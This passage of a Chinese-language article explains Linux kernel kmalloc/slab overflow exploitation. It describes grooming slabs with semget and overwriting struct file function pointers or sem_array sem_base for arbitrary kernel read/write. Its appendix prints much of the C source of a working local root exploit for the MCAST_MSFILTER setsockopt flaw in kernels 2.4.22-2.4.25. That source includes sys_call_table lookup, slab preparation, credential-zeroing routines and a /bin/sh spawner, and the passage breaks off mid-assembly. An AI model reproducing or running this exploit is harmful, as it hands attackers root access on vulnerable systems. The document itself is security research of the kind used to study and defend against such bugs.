15&nbsp;&nbsp;&nbsp;&nbsp; 30&nbsp;&nbsp;&nbsp;
256&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
size-128(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2&nbsp;&nbsp;&nbsp;&nbsp; 30&nbsp;&nbsp;&nbsp;
128&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1<br>
size-128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
478&nbsp;&nbsp;&nbsp; 510&nbsp;&nbsp;&nbsp; 128&nbsp;&nbsp;
16&nbsp;&nbsp; 17&nbsp;&nbsp;&nbsp; 1<br>
size-64(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 1<br>
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
87&nbsp;&nbsp;&nbsp; 118&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
size-32(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2&nbsp;&nbsp;&nbsp; 113&nbsp;&nbsp;&nbsp;&nbsp;
32&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1<br>
size-32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
270&nbsp;&nbsp;&nbsp; 339&nbsp;&nbsp;&nbsp;&nbsp;
32&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 1<br>
<br>
下面是man page里对slabinfo每列数据所代表含义的描述：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For each slab cache, the cache
name, the number of currently active objects,<br>
&nbsp;&nbsp; &nbsp;the total number of available&nbsp;
objects,&nbsp; the size&nbsp; of&nbsp; each object in bytes,<br>
&nbsp;&nbsp; &nbsp;the number of pages with at least one active
object, the total number of allocated pages,<br>
&nbsp;&nbsp; &nbsp;and the number of pages per slab are given.<br>
<br>
遗憾的是，在SMP系统环境下，/proc/slabinfo内的信息并不总是能立即反馈系统内真实的slab使用信息，但是<br>
没关系，对于这个问题我们想到了其它办法解决，在文章的后续部分我们将会提及。<br>
<br>
？我们应该覆盖什么的数据结构才能提升权限呢？<br>
<br>
通常这个数据结构最好包含一个函数指针，而且应用层应该有机会通过这个指针来调用函数，还有一点就是<br>
这个数据结构的分配应该可以在用户层控制，并且它是通过kmalloc被调用的。满足这个条件的数据结构相信<br>
你在内核可以找到很多，例如struct file结构,<br>
<br>
struct file {<br>
&nbsp;&nbsp; &nbsp;struct list_head&nbsp;&nbsp; &nbsp;f_list;<br>
&nbsp;&nbsp; &nbsp;struct dentry&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*f_dentry;<br>
&nbsp;&nbsp; &nbsp;struct
vfsmount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*f_vfsmnt;<br>
&nbsp;&nbsp; &nbsp;struct file_operations&nbsp;&nbsp;
&nbsp;*f_op;<br>
&nbsp;&nbsp; &nbsp;atomic_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_count;<br>
&nbsp;&nbsp; &nbsp;unsigned int &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_flags;<br>
&nbsp;&nbsp; &nbsp;mode_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_mode;<br>
&nbsp;&nbsp; &nbsp;loff_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_pos;<br>
&nbsp;&nbsp; &nbsp;unsigned long &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_reada, f_ramax, f_raend, f_ralen, f_rawin;<br>
&nbsp;&nbsp; &nbsp;struct fown_struct&nbsp;&nbsp;
&nbsp;f_owner;<br>
&nbsp;&nbsp; &nbsp;unsigned int&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_uid, f_gid;<br>
&nbsp;&nbsp; &nbsp;int&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_error;<br>
<br>
&nbsp;&nbsp; &nbsp;unsigned long&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_version;<br>
<br>
&nbsp;&nbsp; &nbsp;/* needed for tty driver, and maybe others
*/<br>
&nbsp;&nbsp; &nbsp;void&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;*private_data;<br>
<br>
&nbsp;&nbsp; &nbsp;/* preallocated helper kiobuf to speedup
O_DIRECT */<br>
&nbsp;&nbsp; &nbsp;struct kiobuf&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*f_iobuf;<br>
&nbsp;&nbsp; &nbsp;long&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_iobuf_lock;<br>
};<br>
<br>
struct file结构中的f_op指针为file_operations结构类型，这个结构中定义了对文件进行各种操作时所<br>
对应的回调处理函数：<br>
<br>
struct file_operations {<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;loff_t (*llseek) (struct file *, loff_t,
int);<br>
&nbsp;&nbsp; &nbsp;ssize_t (*read) (struct file *, char *, size_t,
loff_t *);<br>
&nbsp;&nbsp; &nbsp;ssize_t (*write) (struct file *, const char *,
size_t, loff_t *);<br>
&nbsp;&nbsp; &nbsp;int (*readdir) (struct file *, void *,
filldir_t);<br>
&nbsp;&nbsp; &nbsp;unsigned int (*poll) (struct file *, struct
poll_table_struct *);<br>
&nbsp;&nbsp; &nbsp;int (*ioctl) (struct inode *, struct file *,
unsigned int, unsigned long);<br>
&nbsp;&nbsp; &nbsp;int (*mmap) (struct file *, struct
vm_area_struct *);<br>
&nbsp;&nbsp; &nbsp;int (*open) (struct inode *, struct file *);<br>
&nbsp;&nbsp; &nbsp;...<br>
};<br>
<br>
除了函数指针以外，还有其它信息也可以用于提升权限，比如上个问题中用于消耗slab的sys_semget所使用<br>
的数据结构，<br>
<br>
struct sem_array {<br>
&nbsp;&nbsp; &nbsp;struct kern_ipc_perm&nbsp;&nbsp;
&nbsp;sem_perm;&nbsp;&nbsp; &nbsp;/* permissions .. see ipc.h
*/<br>
&nbsp;&nbsp; &nbsp;time_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;sem_otime;&nbsp;&nbsp; &nbsp;/* last semop
time */<br>
&nbsp;&nbsp; &nbsp;time_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;sem_ctime;&nbsp;&nbsp; &nbsp;/* last
change time */<br>
&nbsp;&nbsp; &nbsp;struct sem&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*sem_base;&nbsp;&nbsp; &nbsp;/* ptr to first semaphore in
array */<br>
&nbsp;&nbsp; &nbsp;struct sem_queue&nbsp;&nbsp;
&nbsp;*sem_pending;&nbsp;&nbsp; &nbsp;/* pending operations to be
processed */<br>
&nbsp;&nbsp; &nbsp;struct sem_queue&nbsp;&nbsp;
&nbsp;**sem_pending_last; /* last pending operation */<br>
&nbsp;&nbsp; &nbsp;struct sem_undo&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*undo;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* undo requests
on this array */<br>
&nbsp;&nbsp; &nbsp;unsigned long&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;sem_nsems;&nbsp;&nbsp; &nbsp;/* no. of semaphores in array
*/<br>
};<br>
<br>
通过覆盖结构中的sem_base成员，就可以对任意内核地址进行读写，见相应内核代码：<br>
<br>
sys_semctl -&gt; semctl_main<br>
&nbsp;&nbsp; &nbsp;...&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;sma = sem_lock(semid);<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;curr = &amp;sma-&gt;sem_base[semnum];<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;switch (cmd) {<br>
&nbsp;&nbsp; &nbsp;case GETVAL:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;err = curr-&gt;semval;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto out_unlock;<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;case SETVAL:<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;int val = arg.val;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;struct sem_undo *un;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;err = -ERANGE;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (val &gt; SEMVMX || val
&lt; 0)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto
out_unlock;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;for (un = sma-&gt;undo; un;
un = un-&gt;id_next)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;un-&gt;semadj[semnum] = 0;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;curr-&gt;semval = val;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;curr-&gt;sempid =
current-&gt;pid;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;sma-&gt;sem_ctime =
CURRENT_TIME;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* maybe some queued-up
processes were waiting for this */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;update_queue(sma);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;err = 0;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto out_unlock;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
你可以写current、写sys_call_table 等等...<br>
<br>
好了，现在回顾前面的例子，你认为还有什么问题没有解决吗？<br>
我们现在是不是就可以完成kmalloc exploit了呢 8-) ... enjoy<br>
<br>
五、** 更进一步<br>
<br>
看懂一个技术理论容易，但实现却通常不容易，在我写EXP的时候发现，实现我认为已经很明白的东西要比想象<br>
的麻烦很多，会遭遇到很多没有想到的困难。下面是我们在写实际的kmalloc溢出利用程序时遇到的一些问题和<br>
想到的一些新的技术、方法。这些方法有的实现了有的还未测试，在这里简单的罗列一下，如果有兴趣可以一起<br>
探讨，这也是我们下一步充实和研究kmalloc溢出利用技术的方向。<br>
<br>
1. /proc/slabinfo<br>
<br>
通过读取slabinfo，我们可以足够的用于溢出使用的信息。但是遗憾的是，在我们的测试中发现，在SMP系统下<br>
cat /proc/slabinfo显示的信息并不能与系统的真实情况同步。虽然air发现有些情况这个信息更新的很及时，<br>
但是到现在为止，我们还不能确认规律，这个也有待进一步试验。<br>
<br>
2. 另一个得到相邻slab对象的方法(不依赖于/proc/slabinfo)<br>
<br>
由于SMP环境下slabinfo存在的问题，消耗完现有系统slab对象以保证得到相邻slab对象的方法也就不在可行，<br>
因为slabinfo信息不准确，我们无法准确得知目前系统有多少个slab对象需要我们预先消耗。不过，即使没有<br>
slabinfo的支持，我们也还有另外一个方法。通常我们可以假设当前系统的slab对象分配尽后，此尺寸的slab<br>
对象的数量并不会达到系统上限(通常都是这样，我还未遇到例外的情况)，所以我们可以一直消耗slab对象到<br>
系统上限，这个我们可以通过函数的返回值判断出来，然后我们从尾部的slab对象中释放两个连续对象供我们<br>
的溢出使用，由于前面的假设，所以我们分配的尾部的slab对象一定是在一个新的slab块中，所以它们一定是<br>
相邻的。<br>
<br>
3、关于特性三<br>
<br>
在kmalloc/slab的特性部分我们提到了三个特性，其中第三个特性在前面并没有被引用。这是因为在本文介绍<br>
的例子中并不需要这个特性，但是在真实漏洞的利用中你也许会用得到。<br>
<br>
4、关于isec-0015-msfilter漏洞的利用<br>
<br>
本来想拿isec-0015-msfilter的漏洞做一个实例分析，但是想了想解释这个漏洞的利用会引入很多内容(比如进程<br>
权限的提升、漏洞触发的具体条件和一些“讨厌”的约束)，那会把这篇文章弄的很复杂，太多的内容会对理解<br>
kmalloc利用的基本技术造成障碍。<br>
<br>
随便说一下，如果你研究了isec-0015-msfilter内核漏洞，你也许会发现由于漏洞触发环境的各种约束，可以覆盖<br>
的有价值的数据结构很少，甚至只能找到一些数据的读写地址供覆盖，最后可能只有通过拦截系统调用的方法来提<br>
升权限，而我们知道在有的环境下无法在应用层准确的得到sys_call_table的地址。不过我们后来想到我们可以将<br>
前面提到的“得到相邻slab对象”技术用到溢出数据源本身，这样可以突破漏洞本身对溢出数据源长度的限制，进<br>
而可以覆盖任意的通过kmalloc分配地址的数据结构了，就不再需要sys_call_table了。<br>
&nbsp;<br>
六、** 最后<br>
<br>
&nbsp;&nbsp;&nbsp;
感觉写paper总是比写代码更难，有时解决一个技术问题不易，但是描述和解释一个技术问题却更难，<br>
所以如果文章哪里写的不清楚，存在什么问题，请大家指出和谅解。最后，希望能有更多的交流。<br>
<br>
七、** 参考资料<br>
<br>
1 Linux内核情景分析<br>
<br>
2 kmalloc_exploition.pdf<br>
<br>
3 isec-0015-msfilter&nbsp;&nbsp; &nbsp;http://isec.pl<br>
<br>
4 内核源代码参考&nbsp;&nbsp; &nbsp;http://lxr.linux.no<br>
<br>
八、** 附录 (kexp-msfilter.c)<br>
<br>
下面是isec-0015-msfilter内核漏洞的利用代码，虽然这不是一个通用版本，但是足够作为一个kmalloc
exploition<br>
的真实例子了。<br>
<br>
/*<br>
&nbsp;* Linux kernel setsockopt MCAST_MSFILTER privilege
elevation<br>
&nbsp;* For kernel 2.4.22 - 2.4.25<br>
&nbsp;*<br>
&nbsp;* 2006-04-07<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;<br>
&nbsp;*<br>
&nbsp;* grip2@debian:~/kernel-sec/exp-msfilter$ ./kexp-msfilter<br>
&nbsp;* numsrc: 0x4000000c msize: 0x40 gsize: 0x68c optlen:
0x68c<br>
&nbsp;* Prepare ...<br>
&nbsp;* full_numsrc:
15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; overflow_numsrc:
3<br>
&nbsp;*
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
87&nbsp;&nbsp;&nbsp; 118&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;*
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
119&nbsp;&nbsp;&nbsp; 177&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;* Exploiting ...<br>
&nbsp;* setsockopt: Cannot assign requested address<br>
&nbsp;* sh-2.05b# &nbsp;<br>
&nbsp;**/<br>
<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/socket.h&gt;<br>
#include &lt;linux/in.h&gt;<br>
#include &lt;sys/ipc.h&gt;<br>
#include &lt;sys/sem.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;assert.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;linux/sysctl.h&gt;<br>
#include &lt;signal.h&gt;<br>
#include &lt;setjmp.h&gt;<br>
#include &lt;wait.h&gt;<br>
<br>
#define KB * 1024<br>
#define MB * 1024 KB<br>
#define GB * 1024 MB<br>
#define NOP 'A'<br>
int uid, gid;<br>
unsigned task_size;<br>
unsigned user_cs,user_ds;<br>
<br>
void **sys_call_table;<br>
#define __NR_hijack_getroot&nbsp;&nbsp; &nbsp;0<br>
static inline _syscall1(int, hijack_getroot, unsigned long *,
val)<br>
<br>
#define SOL_IP &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;0<br>
#define MY_NUMSRC&nbsp;&nbsp; &nbsp;12<br>
<br>
#define SIZE_PIPE_INODE_INFO &nbsp;&nbsp; &nbsp;64 &nbsp;&nbsp;
&nbsp;/* sizeof(struct pipe_inode_info) */<br>
#define SLAB_SIZE &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;(fix_slabsize(SIZE_PIPE_INODE_INFO))<br>
<br>
#define MAX_SEM_LIMIT &nbsp;&nbsp; &nbsp;4096<br>
static int sem_handles[MAX_SEM_LIMIT];<br>
static int sem_count = 0;<br>
<br>
/*<br>
&nbsp;* (kernel-2.4.22) -- ipc/sem.c<br>
&nbsp;* ...<br>
&nbsp;* size = sizeof (*sma) + nsems * sizeof (struct sem);<br>
&nbsp;* sma = (struct sem_array *) ipc_alloc(size);<br>
&nbsp;* ...<br>
&nbsp;*/<br>
#define COMPUTE_NSEMS(slabsize) (((fix_slabsize(slabsize)) - 56) /
8);<br>
<br>
static int fix_slabsize(slabsize)<br>
{<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * (kernel-2.4.22)<br>
&nbsp;&nbsp; &nbsp; **/<br>
&nbsp;&nbsp; &nbsp;int cache_sizes[] = {<br>
#if PAGE_SIZE == 4096<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;32,<br>
#endif<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;64,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;128,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;256,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;512,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;1024,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;2048,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;4096,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;8192,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;16384,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;32768,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;65536,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;131072,<br>
&nbsp;&nbsp; &nbsp;};<br>
<br>
&nbsp;&nbsp; &nbsp;int num, i;<br>
<br>
&nbsp;&nbsp; &nbsp;num = sizeof(cache_sizes)/sizeof(int);<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; num; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (cache_sizes[i] &lt;
slabsize)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slabsize =
cache_sizes[i];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;return slabsize;<br>
}<br>
<br>
unsigned long get_sys_call_table(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;FILE *fp;<br>
&nbsp;&nbsp; &nbsp;char linebuf[128];<br>
&nbsp;&nbsp; &nbsp;char stuff[64];<br>
&nbsp;&nbsp; &nbsp;unsigned long addr;<br>
&nbsp;&nbsp; &nbsp;int found = 0;<br>
&nbsp;&nbsp; &nbsp;int r;<br>
<br>
&nbsp;&nbsp; &nbsp;fp = fopen("/proc/ksyms", "r");<br>
&nbsp;&nbsp; &nbsp;if (fp == NULL) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("fopen
/proc/ksyms");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (!feof(fp)) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (!fgets(linebuf,
sizeof(linebuf), fp))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;memset(stuff, 0
,sizeof(stuff));<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;r = sscanf(linebuf, "%x %s",
&amp;addr, stuff);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (r != 2 || !strstr(stuff,
"sys_call_table"))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf(linebuf);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;found = 1;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;fclose(fp);<br>
&nbsp;&nbsp; &nbsp;return found ? addr : 0;<br>
}<br>
<br>
static void prepare_slab(int slabsize, int left)<br>
{<br>
&nbsp;&nbsp; &nbsp;FILE *fp;<br>
&nbsp;&nbsp; &nbsp;char linebuf[128];<br>
&nbsp;&nbsp; &nbsp;int r, found = 0;<br>
&nbsp;&nbsp; &nbsp;int s_size, s_active, s_total;<br>
&nbsp;&nbsp; &nbsp;int nsems;<br>
<br>
&nbsp;&nbsp; &nbsp;slabsize = fix_slabsize(slabsize);<br>
&nbsp;&nbsp; &nbsp;nsems = COMPUTE_NSEMS(slabsize);<br>
<br>
&nbsp;&nbsp; &nbsp;fp = fopen("/proc/slabinfo", "r");<br>
&nbsp;&nbsp; &nbsp;if (fp == NULL) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("fopen
/proc/slabinfo");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (!feof(fp)) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (!fgets(linebuf,
sizeof(linebuf), fp))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;r = sscanf(linebuf, "size-%d
%d %d", &amp;s_size, &amp;s_active, &amp;s_total);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (r != 3 || s_size !=
slabsize)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf(linebuf);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;found = 1;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;fclose(fp);<br>
<br>
&nbsp;&nbsp; &nbsp;if (found) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;int i, num;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;num = s_total - s_active -
left;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;num = (num &lt;=
(MAX_SEM_LIMIT-sem_count)) ? num : (MAX_SEM_LIMIT-sem_count);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;for (i = sem_count; i &lt;
num; i++, sem_count++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;sem_handles[i] = semget(IPC_PRIVATE, nsems, IPC_CREAT);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;return;<br>
}<br>
<br>
static void de_prepare_slab()<br>
{<br>
&nbsp;&nbsp; &nbsp;int i;<br>
<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; sem_count; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (sem_handles[i] != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(semctl(sem_handles[i], 0, IPC_RMID)) perror("ipc_rmid");<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;sem_count = 0;<br>
}<br>
<br>
void shellcode(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;char *p[] ={"/bin/sh", 0};<br>
//&nbsp;&nbsp; &nbsp;de_prepare_slab();<br>
&nbsp;&nbsp; &nbsp;execve("/bin/sh",p,0);<br>
&nbsp;&nbsp; &nbsp;_exit(0);<br>
}<br>
<br>
void configure(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;unsigned val;<br>
&nbsp;&nbsp; &nbsp;task_size = ((unsigned)&amp;val + 1 GB ) / (1
GB) * 1 GB;<br>
&nbsp;&nbsp; &nbsp;uid = getuid();<br>
&nbsp;&nbsp; &nbsp;gid = getgid();<br>
&nbsp;&nbsp; &nbsp;user_ds = myget_ds();<br>
&nbsp;&nbsp; &nbsp;user_cs = myget_cs();<br>
<br>
}<br>
void kernel(unsigned * task)<br>
{<br>
&nbsp;&nbsp; &nbsp;unsigned * addr = task;<br>
<br>
&nbsp;&nbsp; &nbsp;/* looking for uids */<br>
&nbsp;&nbsp; &nbsp;while (addr[0] != uid || addr[1] != uid ||<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;addr[2] != uid || addr[3] !=
uid<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;addr++;<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;addr[0] = addr[1] = addr[2] = addr[3] = 0; /*
set uids */<br>
&nbsp;&nbsp; &nbsp;addr[4] = addr[5] = addr[6] = addr[7] = 0; /*
set gids */<br>
}<br>
&nbsp;<br>
void set_root(unsigned int *ts)<br>
{<br>
&nbsp;&nbsp; &nbsp;if((unsigned int*)*ts!=NULL)&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ts = (int*)*ts;<br>
<br>
&nbsp;&nbsp; &nbsp;int cntr;<br>
&nbsp;&nbsp; &nbsp;for(cntr = 0; cntr &lt;= 512; cntr++, ts++)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if( ts[0] == uid &amp;&amp;
ts[1] == uid &amp;&amp; ts[4] == gid &amp;&amp; ts[5] == gid)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ts[0] =
ts[1] = ts[4] = ts[5] = 0;<br>
}<br>
<br>
int myget_cs()<br>
{<br>
&nbsp;&nbsp; &nbsp;__asm__("movl %cs,%eax\n");<br>
}<br>
int myget_ds()<br>
{<br>
&nbsp;&nbsp; &nbsp;__asm__("movl %ds,%eax\n");<br>
}<br>
<br>
/*<br>
&nbsp;* kernel 2.4.x/2.6.x privilege elevator<br>
&nbsp;**/<br>
extern load_highlevel;<br>
__asm__<br>
(<br>
